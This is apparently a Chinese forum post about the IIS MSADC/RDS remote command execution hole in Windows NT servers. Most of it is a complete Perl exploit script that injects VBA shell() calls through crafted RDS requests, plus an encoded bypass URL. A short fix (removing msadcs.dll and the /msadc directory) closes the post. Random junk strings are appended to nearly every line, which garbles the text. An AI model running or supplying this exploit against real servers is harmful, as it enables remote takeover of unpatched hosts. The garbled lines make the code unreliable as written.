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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) h3gWOU  
KS*oxZ  
涉及程序: gw _$  
Microsoft NT server [ $fJRR  
ZX~ _g@  
描述: ~L7:2weV[  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Gs2p5nL<  
3/JyUh?  
详细: vs6,  
如果你没有时间读详细内容的话,就删除: NcCvm#  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }`yiT<z  
有关的安全问题就没有了。 2l5KJlfj>k  
c<#<k}y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 7< 9L?F2  
&6Il(3-^  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ~Ki`Ze"x  
关于利用ODBC远程漏洞的描述,请参看: _7a'r</@  
F>gmj'-^  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm V^Rkt%JY  
tZ2e!<C  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 [0[M'![8M  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp YDmWN#  
E2B>b[  
这里不再论述。 amQz^^  
7-_vY[)/  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: =l<iI*J. M  
 uIMe  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ~2 u\  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! buk=p-oi  
Ri>?KrQF%  
@U -$dw'4  
#将下面这段保存为txt文件,然后: "perl -x 文件名" +rWZ|&r%  
t5 a7DD  
#!perl BKU'`5`  
# ~YCuO0t  
# MSADC/RDS 'usage' (aka exploit) script fRTo.u  
# Mp\<cE  
# by rain.forest.puppy j[6Raf/(n  
# @;wzsh >o  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me dV8iwI  
# beta test and find errors! x O7IzqY  
rsa&Oo D>  
use Socket; use Getopt::Std; 8O1K[sEjui  
getopts("e:vd:h:XR", \%args); H^1gy=kdj  
R|!B,b(  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; xn}BB}s{t  
ix Z)tNz  
if (!defined $args{h} && !defined $args{R}) { u}6v?!  
print qq~ [FQ\I-GNC  
Usage: msadc.pl -h <host> { -d <delay> -X -v } !NKmx=I]  
-h <host> = host you want to scan (ip or domain) ;+pOP |P=  
-d <seconds> = delay between calls, default 1 second OuIv e>8  
-X = dump Index Server path table, if available EP7AP4  
-v = verbose %IBL0NQT  
-e = external dictionary file for step 5 #l1Qe`  
L4f7s7rJ  
Or a -R will resume a command session o07IcIo  
pw'wWZE'  
~; exit;} YnV/M,U  
MEwdw3  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; !F!3Q4  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} &S74mV  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} AH{^spD{7,  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); f3WSa&eF  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Ua*&_~7kJ  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } !D.0 (J  
6xgv:,  
if (!defined $args{R}){ $ret = &has_msadc; BQ05`nkF  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} rVA L|0;3  
nv5u%B^  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" (*l2('e#@  
. "cmd /c "; ~tm0QrJn/  
$in=<STDIN>; chomp $in; ST8!i`Q$  
$command="cmd /c " . $in ; 7y*ZXT]f  
k3@HI|  
if (defined $args{R}) {&load; exit;} A~-#@Z  
B94 &elu  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; UCqs}U8  
&try_btcustmr; Gg0#H^s( (  
7el<5chZ  
print "\nStep 2: Trying to make our own DSN..."; X`20f1c6q>  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; |k-XBp  
ACBQ3   
print "\nStep 3: Trying known DSNs..."; 1"K*._K  
&known_dsn; r>qA $zD^  
_LfHs1g4  
print "\nStep 4: Trying known .mdbs..."; I6OSC&A`  
&known_mdb; CdhSp$>  
JE%A|R<Jl  
if (defined $args{e}){ q"aPJ0ni'  
print "\nStep 5: Trying dictionary of DSN names..."; QV,E #(\5  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } E*v]:kok  
tGqCt9;<  
print "Sorry Charley...maybe next time?\n"; 'UDBV  
exit; r25Z`X Z  
m=&j@  
############################################################################## (N U0T w  
=v"xmx&4  
sub sendraw { # ripped and modded from whisker `"y{;PCt_  
sleep($delay); # it's a DoS on the server! At least on mine... >BqCkyM9Kf  
my ($pstr)=@_; Z^tGu7x  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ged,>  
die("Socket problems\n"); fCEz-TMW  
if(connect(S,pack "SnA4x8",2,80,$target)){ CD?&<NV  
select(S); $|=1; |ViU4&d*  
print $pstr; my @in=<S>; RLKj u;u  
select(STDOUT); close(S); ,@Z_{,b  
return @in; Rlc$; Z9K  
} else { die("Can't connect...\n"); }} 4'At.<]jL  
LR$z0rDEM  
############################################################################## q9}2  
shi Hy*(v  
sub make_header { # make the HTTP request x% XT2+  
my $msadc=<<EOT ;A^K_w'  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 \K`jCsT  
User-Agent: ACTIVEDATA q6[}ydV  
Host: $ip  Q&+c.S  
Content-Length: $clen M4<+%EV}  
Connection: Keep-Alive *PB/iVH%6  
m<fA|9 F#  
ADCClientVersion:01.06 yU`: IMz  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 r<FQX3  
0o68rF5^s  
--!ADM!ROX!YOUR!WORLD! J@bW^>g*6u  
Content-Type: application/x-varg Lb q_~   
Content-Length: $reqlen SgSk !lj  
x1DVD!0~{  
EOT +Hyk'=.W  
; $msadc=~s/\n/\r\n/g; e(\Q)re5Q  
return $msadc;} r>3^kL5UI  
TU%"jb5  
############################################################################## Lpm?# g uR  
b:B [3|  
sub make_req { # make the RDS request 3hJH(ToO  
my ($switch, $p1, $p2)=@_; Dt {')  
my $req=""; my $t1, $t2, $query, $dsn; B8 2,.?  
uZ[/%GTX{)  
if ($switch==1){ # this is the btcustmr.mdb query G\mKCaI8  
$query="Select * from Customers where City=" . make_shell();  <qn,  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . R@ QQNYU.D  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} :_c*m@=z(  
)<LI%dQ:'l  
elsif ($switch==2){ # this is general make table query +2O=s<fp  
$query="create table AZZ (B int, C varchar(10))"; MuSaK %  
$dsn="$p1";} #uWE2*')  
u`p_.n:5)  
elsif ($switch==3){ # this is general exploit table query Qu_EfmN|  
$query="select * from AZZ where C=" . make_shell(); /oDpgOn  
$dsn="$p1";} y*KC*/'"  
BHiOQ0Fs  
elsif ($switch==4){ # attempt to hork file info from index server {W'8T}q  
$query="select path from scope()"; 6e:P.HqjA  
$dsn="Provider=MSIDXS;";} %AgA -pBp  
*SGlqR['\e  
elsif ($switch==5){ # bad query D{svR-~T  
$query="select"; z_)`g`($  
$dsn="$p1";} z+6QZQk  
Hd*Fc=>"Y  
$t1= make_unicode($query); 5byeWH0n3  
$t2= make_unicode($dsn); |B|@GF?:  
$req = "\x02\x00\x03\x00"; pU DO7Q]  
$req.= "\x08\x00" . pack ("S1", length($t1)); BA`:miH<  
$req.= "\x00\x00" . $t1 ; UG=I~{L  
$req.= "\x08\x00" . pack ("S1", length($t2)); "8_,tYAH  
$req.= "\x00\x00" . $t2 ; '8Qw:fh  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; KZi' v6  
return $req;} KZ4zF  
1*#bfeoM  
############################################################################## 5h(jeT8"  
fn?VNZ`J  
sub make_shell { # this makes the shell() statement Okoo(dfM  
return "'|shell(\"$command\")|'";} X4 Y  
$/.<z(F  
############################################################################## zg7G^!PU  
#'g^Za  
sub make_unicode { # quick little function to convert to unicode \AJS,QD  
my ($in)=@_; my $out; 8vO;IK]9b^  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -Qg,99M  
return $out;} wzxdVn 'S  
iRouLd  
############################################################################## rV U:VL`2  
:B+Rg cqi  
sub rdo_success { # checks for RDO return success (this is kludge) To^# 0  
my (@in) = @_; my $base=content_start(@in); R%W@~o\p]  
if($in[$base]=~/multipart\/mixed/){ OT%V{hD  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} x~Pvh+O  
return 0;} 6mAB(X^+  
[lOf|^9  
############################################################################## @jKDj]\  
,N0uR@GN  
sub make_dsn { # this makes a DSN for us >Pyc[_j  
my @drives=("c","d","e","f"); @bY?$fj_u  
print "\nMaking DSN: "; D8EeZUqU  
foreach $drive (@drives) { O*ImLR)i+s  
print "$drive: "; 1M=   
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 3~:0?Zuq  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" t,1in4sN  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Q-jf8A]  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; hLSTSD}  
return 0 if $2 eq "404"; # not found/doesn't exist (`F|nG=X  
if($2 eq "200") { &h\CS8nT%  
foreach $line (@results) { V 1*Ad  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} !+=Zjm4L  
} return 0;} |a>}9:g,=*  
Y.(v{l  
############################################################################## db^aL8  
{GK(fBE  
sub verify_exists { PM8Ks?P#u  
my ($page)=@_; 8Kk3_ y  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ^pN 5NwC5  
return $results[0];} HIsB|  
@kz!{g]Sn  
############################################################################## A1=_nt)5  
=hPG_4#  
sub try_btcustmr { \a?K?v|8  
my @drives=("c","d","e","f"); [u7 vY@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); KS?mw`Nr  
B%2L1T=  
foreach $dir (@dirs) { l:q8Pg)  
print "$dir -> "; # fun status so you can see progress T G_bje  
foreach $drive (@drives) { "* +\KPCU  
print "$drive: "; # ditto 8,_ -0_^$  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; !5? m  
$reqlenlen=length( "$reqlen" ); =MCNCV/<  
$clen= 206 + $reqlenlen + $reqlen; f.J 9) lfb  
TZ:34\u   
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); +8^5C,V  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Q:pzL "bT  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} &ad Y  
gA{'Q\  
############################################################################## ka!Bmv)  
C`3V=BB  
sub odbc_error { LSSW.Oz2L  
my (@in)=@_; my $base; %V31B\]Nz7  
my $base = content_start(@in); L 43`^;u  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Ut]2`8-  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >dyhox2*"  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; eN2dy-0  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 5GaoJ v  
return $in[$base+4].$in[$base+5].$in[$base+6];} oPCrD.s  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; [gpOu TW  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ]GQv4-y  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} n>br,bQe  
`bzr_fJ  
############################################################################## I88Zrhw  
L+8=P<]  
sub verbose { UlnyTz~  
my ($in)=@_; ;i.I&*t  
return if !$verbose; l<W*/}3  
print STDOUT "\n$in\n";} *X~B-a|nJ  
.\Ul!&y  
############################################################################## ^p$1D  
>6OCKl  
sub save { sTt9'P`  
my ($p1, $p2, $p3, $p4)=@_; P@2tR5<R  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; "\4]X"3<+  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; `'kc|!%MUq  
close OUT;} mm_^gQ,`  
xIM8  
############################################################################## kxygf9I!;  
qx Wgt(Os  
sub load { "Ys_ \  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; $4DFgvy$  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Vu_&~z7h  
@p=<IN>; close(IN); kmmL>fCV"M  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); "|F. 'qZrm  
$target= inet_aton($ip) || die("inet_aton problems"); 3b+7^0frY#  
print "Resuming to $ip ..."; PP!l  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 8oa)qaG1  
if($p[1]==1) { ZyHIMo|  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; tB GkRd!  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; wTHK=n\i  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 9!5b2!JL  
if (rdo_success(@results)){print "Success!\n";} jaK'W  
else { print "failed\n"; verbose(odbc_error(@results));}} &aY/eD  
elsif ($p[1]==3){ 5woIGO3X  
if(run_query("$p[3]")){ KLG6QBkj  
print "Success!\n";} else { print "failed\n"; }} TG4\%S$w  
elsif ($p[1]==4){   YfTd  
if(run_query($drvst . "$p[3]")){ B{;11 u  
print "Success!\n"; } else { print "failed\n"; }} mgo'MW\   
exit;} 2IKxh  
tDEXm^B2Sv  
############################################################################## 9cVn>Fb  
EW ~*@H  
sub create_table { fB_4f{E  
my ($in)=@_; V/`#B$6  
$reqlen=length( make_req(2,$in,"") ) - 28; l{nB.m2  
$reqlenlen=length( "$reqlen" ); `x2fp6  
$clen= 206 + $reqlenlen + $reqlen; qnabwF  
my @results=sendraw(make_header() . make_req(2,$in,"")); ^?E^']H)5u  
return 1 if rdo_success(@results); '&RZ3@}+  
my $temp= odbc_error(@results); verbose($temp); `kqT{fs  
return 1 if $temp=~/Table 'AZZ' already exists/; d|>9rX+f  
return 0;} RcY6V_Qx  
se~ *<5  
############################################################################## 8dr0 DF$c  
W3FymCI  
sub known_dsn { F"-S~I7'L  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go NdM}xh  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 'Y hA  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", G A'*58  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); M7`UoTc+>d  
R'vdk<  
foreach $dSn (@dsns) { 3js)niT9u  
print "."; E^oEG4 X@  
next if (!is_access("DSN=$dSn")); oN.Mra]D  
if(create_table("DSN=$dSn")){ %2^['8t#NH  
print "$dSn successful\n"; Bx\#`Y  
if(run_query("DSN=$dSn")){ +`Q PBj^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { C HQ {+?#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} |hu"5*  
2v"wWap-+  
############################################################################## g|tNa/  
29R_n)ne  
sub is_access { j%6|:o3G(  
my ($in)=@_; F6RyOUma  
$reqlen=length( make_req(5,$in,"") ) - 28; M /n[&  
$reqlenlen=length( "$reqlen" ); 2Som0T<2  
$clen= 206 + $reqlenlen + $reqlen; B=Xnv*e  
my @results=sendraw(make_header() . make_req(5,$in,"")); zi?qK?m  
my $temp= odbc_error(@results); /IGrp.}  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); O{;M6U8C\  
return 0;} RA*_&Ll&!C  
M \ :"~XW  
############################################################################## ?whRlh  
VFe-#"0ZO  
sub run_query { R=2 gtW"r  
my ($in)=@_; #]?,gwvTf  
$reqlen=length( make_req(3,$in,"") ) - 28; E`oSi ez)  
$reqlenlen=length( "$reqlen" ); ZkJY.H-F  
$clen= 206 + $reqlenlen + $reqlen; $-C6pZN(X  
my @results=sendraw(make_header() . make_req(3,$in,"")); i;E9Za W  
return 1 if rdo_success(@results); W)6U6  
my $temp= odbc_error(@results); verbose($temp); ;y:#S^|?-z  
return 0;} d/0/$Bz}P  
/.pa ??u  
############################################################################## b|X>3(  
3&.TU5]`-  
sub known_mdb { FiV^n6-F`  
my @drives=("c","d","e","f","g"); 6LSPPMM  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \_iH4<#>  
my $dir, $drive, $mdb; 7VEt4  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 5O;/ lX!u  
[i,5>YIk  
# this is sparse, because I don't know of many UMHuIA:%U  
my @sysmdbs=( "\\catroot\\icatalog.mdb", }0k"Sw X  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Hl%+F 0^?  
"\\system32\\certmdb.mdb", Wh#_9);  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% y>)mSl@1y  
w3>Y7vxiz`  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", cHqvkN`  
"\\cfusion\\cfapps\\forums\\forums_.mdb", TzD:bKE&  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", o=a:L^nt,  
"\\cfusion\\cfapps\\security\\realm_.mdb", htdn$kqG   
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ~NNaLl  
"\\cfusion\\database\\cfexamples.mdb", ZaEBdBv  
"\\cfusion\\database\\cfsnippets.mdb", :ofE8]  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", kMwIuy  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", y1@"H/nYJ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", %xH>0  
"\\cfusion\\database\\smpolicy.mdb", ,iA2s i  
"\\cfusion\\database\cypress.mdb", 73! x@Duh  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Y\\3g_YBF  
"\\website\\cgi-win\\dbsample.mdb", b&U5VA0=1  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", dK=D=5r,  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" rsIt~w  
); #these are just "K4X:|Om"  
foreach $drive (@drives) { S2{ ?W  
foreach $dir (@dirs){ BDB zc5Q(  
foreach $mdb (@sysmdbs) { uK"$=v6|  
print "."; 2i4Dal  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ K'{wncumQ  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; MJ*oeI!.=  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ n@ yd{Rc  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 'vf,T4uQ"  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ,M+h9_&0?  
S7\|/h:4  
foreach $drive (@drives) { nU">> 1!U  
foreach $mdb (@mdbs) { d-A%ZAkE]  
print "."; AW{/k'%xw  
if(create_table($drv . $drive . $dir . $mdb)){ `Tm8TZd66  
print "\n" . $drive . $dir . $mdb . " successful\n"; tyG nG0GK  
if(run_query($drv . $drive . $dir . $mdb)){ ^{6UAT~!R  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; l*m]2"n]  
} else { print "Something's borked. Use verbose next time\n"; }}}} sKE*AGFL d  
} *y[~kWI  
H)?" 8 s  
############################################################################## ]0/~6f  
+Qb2LR  
sub hork_idx { ]UpHD.Of[t  
print "\nAttempting to dump Index Server tables...\n"; 1W6n[Xg  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &H p\("  
$reqlen=length( make_req(4,"","") ) - 28; 7W>}7  
$reqlenlen=length( "$reqlen" ); a3E*%G  
$clen= 206 + $reqlenlen + $reqlen; epY;1,; >  
my @results=sendraw2(make_header() . make_req(4,"","")); b`;b}ug  
if (rdo_success(@results)){ iz,q8}/(  
my $max=@results; my $c; my %d; c_DB^M!h  
for($c=19; $c<$max; $c++){ K{[Fa,]'  
$results[$c]=~s/\x00//g; >Y*iy  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Ff1M~MhG  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; XQ|j5]  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; QdG?"Bdt2  
$d{"$1$2"}="";} X\^3,k."  
foreach $c (keys %d){ print "$c\n"; } #L1yL<'  
} else {print "Index server doesn't seem to be installed.\n"; }} .q;RNCUt  
XN0RT>@  
############################################################################## 802]M  
=f{Z~`3  
sub dsn_dict { N;Gf,pE  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); [/2@=Uh-  
while(<IN>){ 0,i+  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; -7A!2mRiz  
next if (!is_access("DSN=$dSn")); 2Dwt4V  
if(create_table("DSN=$dSn")){ -7Y'6''~W.  
print "$dSn successful\n"; 9M-]~.O  
if(run_query("DSN=$dSn")){ Z!5m'yZO  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { enfu%"(K)  
print "Something's borked. Use verbose next time\n";}}} qLktMp_  
print "\n"; close(IN);} 5xn0U5U  
/[)P^L`  
############################################################################## |RbUmuj  
"~,(Xa3x  
sub sendraw2 { # ripped and modded from whisker HN&vk/[  
sleep($delay); # it's a DoS on the server! At least on mine... X|QX1dl  
my ($pstr)=@_; w|U@jr*H]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || TJGKQyG$L  
die("Socket problems\n"); tX2>a  
if(connect(S,pack "SnA4x8",2,80,$target)){ J~ gkGso  
print "Connected. Getting data"; |GLn 9vw7S  
open(OUT,">raw.out"); my @in; eB1eUK>  
select(S); $|=1; print $pstr; SUQ}^gn]  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} W} +6L|  
close(OUT); select(STDOUT); close(S); return @in; $@ #G+QQ_  
} else { die("Can't connect...\n"); }} ?[|4QzR  
Jut'xA2Dr  
############################################################################## 0z2R`=)  
E4fvYV_ra  
sub content_start { # this will take in the server headers vXWESy  
my (@in)=@_; my $c; Dqo:X`<bT  
for ($c=1;$c<500;$c++) { qi5>GX^t]b  
if($in[$c] =~/^\x0d\x0a/){ g_U*_5doA  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }  ^O\1v  
else { return $c+1; }}} w}KcLaI  
return -1;} # it should never get here actually z%-"' Y]  
1PjX:]:  
############################################################################## XS~w_J#q  
j?` D\LZhf  
sub funky { ?9.?w-Q'  
my (@in)=@_; my $error=odbc_error(@in); @X / =.  
if($error=~/ADO could not find the specified provider/){ :$@zX]?M  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Y~\xWYR  
exit;} Y(;[L`"  
if($error=~/A Handler is required/){ KgkB)1s@n  
print "\nServer has custom handler filters (they most likely are patched)\n"; LSOwa  
exit;} 3 mMdq*X5  
if($error=~/specified Handler has denied Access/){ a*ixs'MJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; O8}s*}]  
exit;}} U";Rp&\3;  
}lbx  
############################################################################## &[\arwe)  
N pIlQaMo4  
sub has_msadc { F u=VY{U4  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); i3\oy`GJ  
my $base=content_start(@results); G}OrpPP  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 6/[h24d  
return 0;} mgl' d  
'k) P(H  
######################## 6Yi,%#  
ZkG##Jp\>  
gA8 u E  
解决方案: *h8XbBZH  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll P6Ol+SI#m  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 C]@B~X1H^  
J-,X0v"  
拿出来充数 哈哈
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